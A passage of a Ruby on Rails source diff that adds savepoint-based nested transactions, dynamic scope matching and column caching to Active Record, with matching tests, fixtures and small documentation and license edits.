# If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
# be typecast back to 0 (''.to_i => 0)
@@ -174,7 +174,7 @@ module ActiveRecord
alias_attribute_without_dirty(new_name, old_name)
DIRTY_SUFFIXES.each do |suffix|
module_eval <<-STR, __FILE__, __LINE__+1
- def #{new_name}#{suffix}; self.#{old_name}#{suffix}; end
+ def #{new_name}#{suffix}; self.#{old_name}#{suffix}; end # def subject_changed?; self.title_changed?; end
STR
end
end
diff --git a/activerecord/lib/active_record/dynamic_scope_match.rb b/activerecord/lib/active_record/dynamic_scope_match.rb
new file mode 100644
index 0000000000..f796ba669a
--- /dev/null
+++ b/activerecord/lib/active_record/dynamic_scope_match.rb
@@ -0,0 +1,25 @@
+module ActiveRecord
+ class DynamicScopeMatch
+ def self.match(method)
+ ds_match = self.new(method)
+ ds_match.scope ? ds_match : nil
+ end
+
+ def initialize(method)
+ @scope = true
+ case method.to_s
+ when /^scoped_by_([_a-zA-Z]\w*)$/
+ names = $1
+ else
+ @scope = nil
+ end
+ @attribute_names = names && names.split('_and_')
+ end
+
+ attr_reader :scope, :attribute_names
+
+ def scope?
+ !@scope.nil?
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
index 129306d335..0131d9fac5 100644
--- a/activerecord/lib/active_record/fixtures.rb
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -516,7 +516,7 @@ class Fixtures < (RUBY_VERSION < '1.9' ? YAML::Omap : Hash)
all_loaded_fixtures.update(fixtures_map)
- connection.transaction(connection.open_transactions.zero?) do
+ connection.transaction(:requires_new => true) do
fixtures.reverse.each { |fixture| fixture.delete_existing_fixtures }
fixtures.each { |fixture| fixture.insert_fixtures }
@@ -937,6 +937,7 @@ module ActiveRecord
@@already_loaded_fixtures[self.class] = @loaded_fixtures
end
ActiveRecord::Base.connection.increment_open_transactions
+ ActiveRecord::Base.connection.transaction_joinable = false
ActiveRecord::Base.connection.begin_db_transaction
# Load fixtures for every test.
else
diff --git a/activerecord/lib/active_record/locale/en.yml b/activerecord/lib/active_record/locale/en.yml
index 7e205435f7..bf8a71d236 100644
--- a/activerecord/lib/active_record/locale/en.yml
+++ b/activerecord/lib/active_record/locale/en.yml
@@ -37,7 +37,7 @@ en:
# blank: "This is a custom blank message for User login"
# Will define custom blank validation message for User model and
# custom blank validation message for login attribute of User model.
- models:
+ #models:
# Translate model names. Used in Model.human_name().
#models:
diff --git a/activerecord/lib/active_record/named_scope.rb b/activerecord/lib/active_record/named_scope.rb
index 83043c2c22..989b2a1ec5 100644
--- a/activerecord/lib/active_record/named_scope.rb
+++ b/activerecord/lib/active_record/named_scope.rb
@@ -39,7 +39,7 @@ module ActiveRecord
# Nested finds and calculations also work with these compositions: <tt>Shirt.red.dry_clean_only.count</tt> returns the number of garments
# for which these criteria obtain. Similarly with <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
#
- # All \scopes are available as class methods on the ActiveRecord::Base descendent upon which the \scopes were defined. But they are also available to
+ # All \scopes are available as class methods on the ActiveRecord::Base descendant upon which the \scopes were defined. But they are also available to
# <tt>has_many</tt> associations. If,
#
# class Person < ActiveRecord::Base
diff --git a/activerecord/lib/active_record/reflection.rb b/activerecord/lib/active_record/reflection.rb
index dbff4f24d6..1937abdc83 100644
--- a/activerecord/lib/active_record/reflection.rb
+++ b/activerecord/lib/active_record/reflection.rb
@@ -198,6 +198,14 @@ module ActiveRecord
end
end
+ def columns(tbl_name, log_msg)
+ @columns ||= klass.connection.columns(tbl_name, log_msg)
+ end
+
+ def reset_column_information
+ @columns = nil
+ end
+
def check_validity!
end
diff --git a/activerecord/lib/active_record/session_store.rb b/activerecord/lib/active_record/session_store.rb
index bd198c03b2..5e45cf65ab 100644
--- a/activerecord/lib/active_record/session_store.rb
+++ b/activerecord/lib/active_record/session_store.rb
@@ -53,11 +53,6 @@ module ActiveRecord
before_save :raise_on_session_data_overflow!
class << self
- # Don't try to reload ARStore::Session in dev mode.
- def reloadable? #:nodoc:
- false
- end
-
def data_column_size_limit
@data_column_size_limit ||= columns_hash[@@data_column_name].limit
end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index 0a27ea980e..0b6e52c79b 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -120,16 +120,66 @@ module ActiveRecord
# end
#
# One should restart the entire transaction if a StatementError occurred.
+ #
+ # == Nested transactions
+ #
+ # #transaction calls can be nested. By default, this makes all database
+ # statements in the nested transaction block become part of the parent
+ # transaction. For example:
+ #
+ # User.transaction do
+ # User.create(:username => 'Kotori')
+ # User.transaction do
+ # User.create(:username => 'Nemu')
+ # raise ActiveRecord::Rollback
+ # end
+ # end
+ #
+ # User.find(:all) # => empty
+ #
+ # It is also possible to requires a sub-transaction by passing
+ # <tt>:requires_new => true</tt>. If anything goes wrong, the
+ # database rolls back to the beginning of the sub-transaction
+ # without rolling back the parent transaction. For example:
+ #
+ # User.transaction do
+ # User.create(:username => 'Kotori')
+ # User.transaction(:requires_new => true) do
+ # User.create(:username => 'Nemu')
+ # raise ActiveRecord::Rollback
+ # end
+ # end
+ #
+ # User.find(:all) # => Returns only Kotori
+ #
+ # Most databases don't support true nested transactions. At the time of
+ # writing, the only database that we're aware of that supports true nested
+ # transactions, is MS-SQL. Because of this, Active Record emulates nested
+ # transactions by using savepoints. See
+ # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html
+ # for more information about savepoints.
+ #
+ # === Caveats
+ #
+ # If you're on MySQL, then do not use DDL operations in nested transactions
+ # blocks that are emulated with savepoints. That is, do not execute statements
+ # like 'CREATE TABLE' inside such blocks. This is because MySQL automatically
+ # releases all savepoints upon executing a DDL operation. When #transaction
+ # is finished and tries to release the savepoint it created earlier, a
+ # database error will occur because the savepoint has already been
+ # automatically released. The following example demonstrates the problem:
+ #
+ # Model.connection.transaction do # BEGIN
+ # Model.connection.transaction(:requires_new => true) do # CREATE SAVEPOINT active_record_1
+ # Model.connection.create_table(...) # active_record_1 now automatically released
+ # end # RELEASE savepoint active_record_1
+ # # ^^^^ BOOM! database error!
+ # end
module ClassMethods
# See ActiveRecord::Transactions::ClassMethods for detailed documentation.
- def transaction(&block)
- connection.increment_open_transactions
-
- begin
- connection.transaction(connection.open_transactions == 1, &block)
- ensure
- connection.decrement_open_transactions
- end
+ def transaction(options = {}, &block)
+ # See the ConnectionAdapters::DatabaseStatements#transaction API docs.
+ connection.transaction(options, &block)
end
end
diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb
index 6a9690ba85..6d750accb0 100644
--- a/activerecord/lib/active_record/validations.rb
+++ b/activerecord/lib/active_record/validations.rb
@@ -904,7 +904,7 @@ module ActiveRecord
configuration.update(attr_names.extract_options!)
validates_each(attr_names, configuration) do |record, attr_name, value|
- unless (value.is_a?(Array) ? value : [value]).inject(true) { |v, r| (r.nil? || r.valid?) && v }
+ unless (value.is_a?(Array) ? value : [value]).collect { |r| r.nil? || r.valid? }.all?
record.errors.add(attr_name, :invalid, :default => configuration[:message], :value => value)
end
end
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index 8c9ae8a031..45e74ea024 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -104,6 +104,14 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
authors.first.posts.first.special_comments.first.post.very_special_comment
end
end
+
+ def test_eager_association_loading_where_first_level_returns_nil
+ authors = Author.find(:all, :include => {:post_about_thinking => :comments}, :order => 'authors.id DESC')
+ assert_equal [authors(:mary), authors(:david)], authors
+ assert_no_queries do
+ authors[1].post_about_thinking.comments.first
+ end
+ end
end
require 'models/vertex'
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index a2d0efab92..14099d4176 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -771,4 +771,52 @@ class EagerAssociationTest < ActiveRecord::TestCase
assert_equal author_addresses(:david_address), authors[0].author_address
end
+ def test_preload_belongs_to_uses_exclusive_scope
+ people = Person.males.find(:all, :include => :primary_contact)
+ assert_not_equal people.length, 0
+ people.each do |person|
+ assert_no_queries {assert_not_nil person.primary_contact}
+ assert_equal Person.find(person.id).primary_contact, person.primary_contact
+ end
+ end
+
+ def test_preload_has_many_uses_exclusive_scope
+ people = Person.males.find :all, :include => :agents
+ people.each do |person|
+ assert_equal Person.find(person.id).agents, person.agents
+ end
+ end
+
+ def test_preload_has_many_using_primary_key
+ expected = Firm.find(:first).clients_using_primary_key.to_a
+ firm = Firm.find :first, :include => :clients_using_primary_key
+ assert_no_queries do
+ assert_equal expected, firm.clients_using_primary_key
+ end
+ end
+
+ def test_include_has_many_using_primary_key
+ expected = Firm.find(1).clients_using_primary_key.sort_by &:name
+ firm = Firm.find 1, :include => :clients_using_primary_key, :order => 'clients_using_primary_keys_companies.name'
+ assert_no_queries do
+ assert_equal expected, firm.clients_using_primary_key
+ end
+ end
+
+ def test_preload_has_one_using_primary_key
+ expected = Firm.find(:first).account_using_primary_key
+ firm = Firm.find :first, :include => :account_using_primary_key
+ assert_no_queries do
+ assert_equal expected, firm.account_using_primary_key
+ end
+ end
+
+ def test_include_has_one_using_primary_key
+ expected = Firm.find(1).account_using_primary_key
+ firm = Firm.find(:all, :include => :account_using_primary_key, :order => 'accounts.id').detect {|f| f.id == 1}
+ assert_no_queries do
+ assert_equal expected, firm.account_using_primary_key
+ end
+ end
+
end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index 2f08e09d43..1e3b423471 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -775,4 +775,15 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
end
end
end
+
+ def test_caching_of_columns
+ david = Developer.find(1)
+ # clear cache possibly created by other tests
+ david.projects.reset_column_information
+ assert_queries(0) { david.projects.columns; david.projects.columns }
+ # and again to verify that reset_column_information clears the cache correctly
+ david.projects.reset_column_information
+ assert_queries(0) { david.projects.columns; david.projects.columns }
+ end
+
end
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index 20b9acda44..428fb50013 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -698,7 +698,8 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
authors(:david).destroy
end
- assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids[authors(:david).id]
+ assert_equal nil, AuthorAddress.find_by_id(authors(:david).author_address_id)
+ assert_equal nil, AuthorAddress.find_by_id(authors(:david).author_address_extra_id)
end
def test_invalid_belongs_to_dependent_option_raises_exception
@@ -1115,5 +1116,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert !client_association.respond_to?(:private_method)
assert client_association.respond_to?(:private_method, true)
end
+
+ def test_creating_using_primary_key
+ firm = Firm.find(:first)
+ client = firm.clients_using_primary_key.create!(:name => 'test')
+ assert_equal firm.name, client.firm_name
+ end
end
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index ce77ba4dbf..0f03dae829 100755
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -1198,6 +1198,11 @@ class BasicsTest < ActiveRecord::TestCase
assert b_true.value?
end
+ def test_new_record_returns_boolean
+ assert_equal Topic.new.new_record?, true
+ assert_equal Topic.find(1).new_record?, false
+ end
+
def test_clone
topic = Topic.find(1)
cloned_topic = nil
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index 11830a2ef6..33b1ea034d 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -121,9 +121,19 @@ end
class CallbackCancellationDeveloper < ActiveRecord::Base
set_table_name 'developers'
- def before_create
- false
- end
+
+ attr_reader :after_save_called, :after_create_called, :after_update_called, :after_destroy_called
+ attr_accessor :cancel_before_save, :cancel_before_create, :cancel_before_update, :cancel_before_destroy
+
+ def before_save; !@cancel_before_save; end
+ def before_create; !@cancel_before_create; end
+ def before_update; !@cancel_before_update; end
+ def before_destroy; !@cancel_before_destroy; end
+
+ def after_save; @after_save_called = true; end
+ def after_update; @after_update_called = true; end
+ def after_create; @after_create_called = true; end
+ def after_destroy; @after_destroy_called = true; end
end
class CallbacksTest < ActiveRecord::TestCase
@@ -349,19 +359,47 @@ class CallbacksTest < ActiveRecord::TestCase
assert !david.valid?
assert !david.save
assert_raises(ActiveRecord::RecordInvalid) { david.save! }
+
+ someone = CallbackCancellationDeveloper.find(1)
+ someone.cancel_before_save = true
+ assert someone.valid?
+ assert !someone.save
+ assert_save_callbacks_not_called(someone)
end
def test_before_create_returning_false
someone = CallbackCancellationDeveloper.new
+ someone.cancel_before_create = true
assert someone.valid?
assert !someone.save
+ assert_save_callbacks_not_called(someone)
+ end
+
+ def test_before_update_returning_false
+ someone = CallbackCancellationDeveloper.find(1)
+ someone.cancel_before_update = true
+ assert someone.valid?
+ assert !someone.save
+ assert_save_callbacks_not_called(someone)
end
def test_before_destroy_returning_false
david = ImmutableDeveloper.find(1)
assert !david.destroy
assert_not_nil ImmutableDeveloper.find_by_id(1)
+
+ someone = CallbackCancellationDeveloper.find(1)
+ someone.cancel_before_destroy = true
+ assert !someone.destroy
+ assert !someone.after_destroy_called
+ end
+
+ def assert_save_callbacks_not_called(someone)
+ assert !someone.after_save_called
+ assert !someone.after_create_called
+ assert !someone.after_update_called
end
+ private :assert_save_callbacks_not_called
def test_zzz_callback_returning_false # must be run last since we modify CallbackDeveloper
david = CallbackDeveloper.find(1)
diff --git a/activerecord/test/cases/defaults_test.rb b/activerecord/test/cases/defaults_test.rb
index 38e4853dc0..b4032c23e6 100644
--- a/activerecord/test/cases/defaults_test.rb
+++ b/activerecord/test/cases/defaults_test.rb
@@ -18,11 +18,43 @@ class DefaultTest < ActiveRecord::TestCase
end
end
- if current_adapter?(:MysqlAdapter)
+ if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
+ def test_default_integers
+ default = Default.new
+ assert_instance_of Fixnum, default.positive_integer
+ assert_equal 1, default.positive_integer
+ assert_instance_of Fixnum, default.negative_integer
+ assert_equal -1, default.negative_integer
+ assert_instance_of BigDecimal, default.decimal_number
+ assert_equal BigDecimal.new("2.78"), default.decimal_number
+ end
+ end
+
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_multiline_default_text
+ # older postgres versions represent the default with escapes ("\\012" for a newline)
+ assert ( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
+ "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
+ end
+ end
+end
- #MySQL 5 and higher is quirky with not null text/blob columns.
- #With MySQL Text/blob columns cannot have defaults. If the column is not null MySQL will report that the column has a null default
- #but it behaves as though the column had a default of ''
+if current_adapter?(:MysqlAdapter)
+ class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase
+ # ActiveRecord::Base#create! (and #save and other related methods) will
+ # open a new transaction. When in transactional fixtures mode, this will
+ # cause ActiveRecord to create a new savepoint. However, since MySQL doesn't
+ # support DDL transactions, creating a table will result in any created
+ # savepoints to be automatically released. This in turn causes the savepoint
+ # release code in AbstractAdapter#transaction to fail.
+ #
+ # We don't want that to happen, so we disable transactional fixtures here.
+ self.use_transactional_fixtures = false
+
+ # MySQL 5 and higher is quirky with not null text/blob columns.
+ # With MySQL Text/blob columns cannot have defaults. If the column is not
+ # null MySQL will report that the column has a null default
+ # but it behaves as though the column had a default of ''
def test_mysql_text_not_null_defaults
klass = Class.new(ActiveRecord::Base)
klass.table_name = 'test_mysql_text_not_null_defaults'
@@ -48,8 +80,7 @@ class DefaultTest < ActiveRecord::TestCase
ensure
klass.connection.drop_table(klass.table_name) rescue nil
end
-
-
+
# MySQL uses an implicit default 0 rather than NULL unless in strict mode.
# We use an implicit NULL so schema.rb is compatible with other databases.
def test_mysql_integer_not_null_defaults
@@ -77,24 +108,4 @@ class DefaultTest < ActiveRecord::TestCase
klass.connection.drop_table(klass.table_name) rescue nil
end
end
-
- if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
- def test_default_integers
- default = Default.new
- assert_instance_of Fixnum, default.positive_integer
- assert_equal 1, default.positive_integer
- assert_instance_of Fixnum, default.negative_integer
- assert_equal -1, default.negative_integer
- assert_instance_of BigDecimal, default.decimal_number
- assert_equal BigDecimal.new("2.78"), default.decimal_number
- end
- end
-
- if current_adapter?(:PostgreSQLAdapter)
- def test_multiline_default_text
- # older postgres versions represent the default with escapes ("\\012" for a newline)
- assert ( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
- "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
- end
- end
end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 10cdbdc622..1c9e281cc0 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -21,6 +21,10 @@ private
end
end
+class NumericData < ActiveRecord::Base
+ self.table_name = 'numeric_data'
+end
+
class DirtyTest < ActiveRecord::TestCase
def test_attribute_changes
# New record - no changes.
@@ -58,7 +62,7 @@ class DirtyTest < ActiveRecord::TestCase
assert_equal parrot.name_change, parrot.title_change
end
- def test_nullable_integer_not_marked_as_changed_if_new_value_is_blank
+ def test_nullable_number_not_marked_as_changed_if_new_value_is_blank
pirate = Pirate.new
["", nil].each do |value|
@@ -68,6 +72,26 @@ class DirtyTest < ActiveRecord::TestCase
end
end
+ def test_nullable_decimal_not_marked_as_changed_if_new_value_is_blank
+ numeric_data = NumericData.new
+
+ ["", nil].each do |value|
+ numeric_data.bank_balance = value
+ assert !numeric_data.bank_balance_changed?
+ assert_nil numeric_data.bank_balance_change
+ end
+ end
+
+ def test_nullable_float_not_marked_as_changed_if_new_value_is_blank
+ numeric_data = NumericData.new
+
+ ["", nil].each do |value|
+ numeric_data.temperature = value
+ assert !numeric_data.temperature_changed?
+ assert_nil numeric_data.temperature_change
+ end
+ end
+
def test_nullable_integer_zero_to_string_zero_not_marked_as_changed
pirate = Pirate.new
pirate.parrot_id = 0
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 2043138ca3..24ce35e2e2 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -34,7 +34,7 @@ rescue LoadError
end
ActiveRecord::Base.connection.class.class_eval do
- IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/]
+ IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /SHOW FIELDS/]
def execute_with_query_record(sql, name = nil, &block)
$queries_executed ||= []
diff --git a/activerecord/test/cases/json_serialization_test.rb b/activerecord/test/cases/json_serialization_test.rb
index 3446e5e7f0..975acde096 100644
--- a/activerecord/test/cases/json_serialization_test.rb
+++ b/activerecord/test/cases/json_serialization_test.rb
@@ -200,6 +200,6 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
2 => @mary
}
- assert_equal %({1: {"name": "David"}}), authors_hash.to_json(:only => [1, :name])
+ assert_equal %({"1": {"name": "David"}}), authors_hash.to_json(:only => [1, :name])
end
end
diff --git a/activerecord/test/cases/named_scope_test.rb b/activerecord/test/cases/named_scope_test.rb
index 64e899780c..bab842cf66 100644
--- a/activerecord/test/cases/named_scope_test.rb
+++ b/activerecord/test/cases/named_scope_test.rb
@@ -254,7 +254,7 @@ class NamedScopeTest < ActiveRecord::TestCase
end
def test_should_use_where_in_query_for_named_scope
- assert_equal Developer.find_all_by_name('Jamis'), Developer.find_all_by_id(Developer.jamises)
+ assert_equal Developer.find_all_by_name('Jamis').to_set, Developer.find_all_by_id(Developer.jamises).to_set
end
def test_size_should_use_count_when_results_are_not_loaded
@@ -278,3 +278,23 @@ class NamedScopeTest < ActiveRecord::TestCase
assert_equal post.comments.size, Post.scoped(:joins => join).scoped(:joins => join, :conditions => "posts.id = #{post.id}").size
end
end
+
+class DynamicScopeMatchTest < ActiveRecord::TestCase
+ def test_scoped_by_no_match
+ assert_nil ActiveRecord::DynamicScopeMatch.match("not_scoped_at_all")
+ end
+
+ def test_scoped_by
+ match = ActiveRecord::DynamicScopeMatch.match("scoped_by_age_and_sex_and_location")
+ assert_not_nil match
+ assert match.scope?
+ assert_equal %w(age sex location), match.attribute_names
+ end
+end
+
+class DynamicScopeTest < ActiveRecord::TestCase
+ def test_dynamic_scope
+ assert_equal Post.scoped_by_author_id(1).find(1), Post.find(1)
+ assert_equal Post.scoped_by_author_id_and_title(1, "Welcome to the weblog").first, Post.find(:first, :conditions => { :author_id => 1, :title => "Welcome to the weblog"})
+ end
+end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index b12ec36455..4a07a8bb1d 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -213,11 +213,104 @@ class TransactionTest < ActiveRecord::TestCase
assert Topic.find(2).approved?, "Second should still be approved"
end
+ def test_invalid_keys_for_transaction
+ assert_raises ArgumentError do
+ Topic.transaction :nested => true do
+ end
+ end
+ end
+
+ def test_force_savepoint_in_nested_transaction
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save!
+ @second.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.happy = false
+ @first.save!
+ raise
+ end
+ rescue
+ end
+ end
+
+ assert @first.reload.approved?
+ assert !@second.reload.approved?
+ end if Topic.connection.supports_savepoints?
+
+ def test_no_savepoint_in_nested_transaction_without_force
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save!
+ @second.save!
+
+ begin
+ Topic.transaction do
+ @first.approved = false
+ @first.save!
+ raise
+ end
+ rescue
+ end
+ end
+
+ assert !@first.reload.approved?
+ assert !@second.reload.approved?
+ end if Topic.connection.supports_savepoints?
+
+ def test_many_savepoints
+ Topic.transaction do
+ @first.content = "One"
+ @first.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.content = "Two"
+ @first.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.content = "Three"
+ @first.save!
+
+ begin
+ Topic.transaction :requires_new => true do
+ @first.content = "Four"
+ @first.save!
+ raise
+ end
+ rescue
+ end
+
+ @three = @first.reload.content
+ raise
+ end
+ rescue
+ end
+
+ @two = @first.reload.content
+ raise
+ end
+ rescue
+ end
+
+ @one = @first.reload.content
+ end
+
+ assert_equal "One", @one
+ assert_equal "Two", @two
+ assert_equal "Three", @three
+ end if Topic.connection.supports_savepoints?
+
uses_mocha 'mocking connection.commit_db_transaction' do
def test_rollback_when_commit_raises
Topic.connection.expects(:begin_db_transaction)
- Topic.connection.expects(:transaction_active?).returns(true) if current_adapter?(:PostgreSQLAdapter)
Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
+ Topic.connection.expects(:outside_transaction?).returns(false)
Topic.connection.expects(:rollback_db_transaction)
assert_raise RuntimeError do
@@ -227,6 +320,38 @@ class TransactionTest < ActiveRecord::TestCase
end
end
end
+
+ if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
+ def test_outside_transaction_works
+ assert Topic.connection.outside_transaction?
+ Topic.connection.begin_db_transaction
+ assert !Topic.connection.outside_transaction?
+ Topic.connection.rollback_db_transaction
+ assert Topic.connection.outside_transaction?
+ end
+
+ uses_mocha 'mocking connection.rollback_db_transaction' do
+ def test_rollback_wont_be_executed_if_no_transaction_active
+ assert_raise RuntimeError do
+ Topic.transaction do
+ Topic.connection.rollback_db_transaction
+ Topic.connection.expects(:rollback_db_transaction).never
+ raise "Rails doesn't scale!"
+ end
+ end
+ end
+ end
+
+ def test_open_transactions_count_is_reset_to_zero_if_no_transaction_active
+ Topic.transaction do
+ Topic.transaction do
+ Topic.connection.rollback_db_transaction
+ end
+ assert_equal 0, Topic.connection.open_transactions
+ end
+ assert_equal 0, Topic.connection.open_transactions
+ end
+ end
def test_sqlite_add_column_in_transaction_raises_statement_invalid
return true unless current_adapter?(:SQLite3Adapter, :SQLiteAdapter)
@@ -282,6 +407,45 @@ class TransactionTest < ActiveRecord::TestCase
end
end
+class TransactionsWithTransactionalFixturesTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = true
+ fixtures :topics
+
+ def test_automatic_savepoint_in_outer_transaction
+ @first = Topic.find(1)
+
+ begin
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+ raise
+ end
+ rescue
+ assert !@first.reload.approved?
+ end
+ end
+
+ def test_no_automatic_savepoint_for_inner_transaction
+ @first = Topic.find(1)
+
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+
+ begin
+ Topic.transaction do
+ @first.approved = false
+ @first.save!
+ raise
+ end
+ rescue
+ end
+ end
+
+ assert !@first.reload.approved?
+ end
+end if Topic.connection.supports_savepoints?
+
if current_adapter?(:PostgreSQLAdapter)
class ConcurrentTransactionTest < TransactionTest
use_concurrent_connections
diff --git a/activerecord/test/fixtures/people.yml b/activerecord/test/fixtures/people.yml
index d5a69e561d..3babb1fe59 100644
--- a/activerecord/test/fixtures/people.yml
+++ b/activerecord/test/fixtures/people.yml
@@ -1,6 +1,15 @@
michael:
id: 1
first_name: Michael
+ primary_contact_id: 2
+ gender: M
david:
id: 2
- first_name: David \ No newline at end of file
+ first_name: David
+ primary_contact_id: 3
+ gender: M
+susan:
+ id: 3
+ first_name: Susan
+ primary_contact_id: 2
+ gender: F \ No newline at end of file
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 430d0b38f7..ec2f684a6e 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -7,4 +7,10 @@ class Person < ActiveRecord::Base
has_many :jobs, :through => :references
has_one :favourite_reference, :class_name => 'Reference', :conditions => ['favourite=?', true]
has_many :posts_with_comments_sorted_by_comment_id, :through => :readers, :source => :post, :include => :comments, :order => 'comments.id'
+
+ belongs_to :primary_contact, :class_name => 'Person'
+ has_many :agents, :class_name => 'Person', :foreign_key => 'primary_contact_id'
+
+ named_scope :males, :conditions => { :gender => 'M' }
+ named_scope :females, :conditions => { :gender => 'F' }
end
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
index fbacc692b4..094932d375 100644
--- a/activerecord/test/schema/schema.rb
+++ b/activerecord/test/schema/schema.rb
@@ -252,6 +252,7 @@ ActiveRecord::Schema.define do
t.decimal :world_population, :precision => 10, :scale => 0
t.decimal :my_house_population, :precision => 2, :scale => 0
t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+ t.float :temperature
end
create_table :orders, :force => true do |t|
@@ -298,8 +299,10 @@ ActiveRecord::Schema.define do
end
create_table :people, :force => true do |t|
- t.string :first_name, :null => false
- t.integer :lock_version, :null => false, :default => 0
+ t.string :first_name, :null => false
+ t.references :primary_contact
+ t.string :gender, :limit => 1
+ t.integer :lock_version, :null => false, :default => 0
end
create_table :pets, :primary_key => :pet_id ,:force => true do |t|
diff --git a/activeresource/MIT-LICENSE b/activeresource/MIT-LICENSE
index 7f65dd1989..5eb8c94758 100644
--- a/activeresource/MIT-LICENSE
+++ b/activeresource/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2006 David Heinemeier Hansson
+Copyright (c) 2006-2009 David Heinemeier Hansson
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
diff --git a/activeresource/lib/active_resource/http_mock.rb b/activeresource/lib/active_resource/http_mock.rb
index 9ed532b48c..0b4549f759 100644
--- a/activeresource/lib/active_resource/http_mock.rb
+++ b/activeresource/lib/active_resource/http_mock.rb
@@ -54,6 +54,9 @@ module ActiveResource
end
for method in [ :post, :put, :get, :delete, :head ]
+ # def post(path, request_headers = {}, body = nil, status = 200, response_headers = {})
+ # @responses[Request.new(:post, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
+ # end
module_eval <<-EOE, __FILE__, __LINE__
def #{method}(path, request_headers = {}, body = nil, status = 200, response_headers = {})
@responses[Request.new(:#{method}, path, nil, request_headers)] = Response.new(body || "", status, response_headers)
@@ -118,6 +121,11 @@ module ActiveResource
end
for method in [ :post, :put ]
+ # def post(path, body, headers)
+ # request = ActiveResource::Request.new(:post, path, body, headers)
+ # self.class.requests << request
+ # self.class.responses[request] || raise(InvalidRequestError.new("No response recorded for #{request}"))
+ # end
module_eval <<-EOE, __FILE__, __LINE__
def #{method}(path, body, headers)
request = ActiveResource::Request.new(:#{method}, path, body, headers)
diff --git a/activesupport/CHANGELOG b/activesupport/CHANGELOG
index cf41a20a5c..fed977775e 100644
--- a/activesupport/CHANGELOG
+++ b/activesupport/CHANGELOG
@@ -1,5 +1,14 @@
*2.3.0 [Edge]*
+* TimeWithZone#xmlschema accepts optional fraction_digits argument [#1725 state:resolved] [Nicholas Dainty]
+
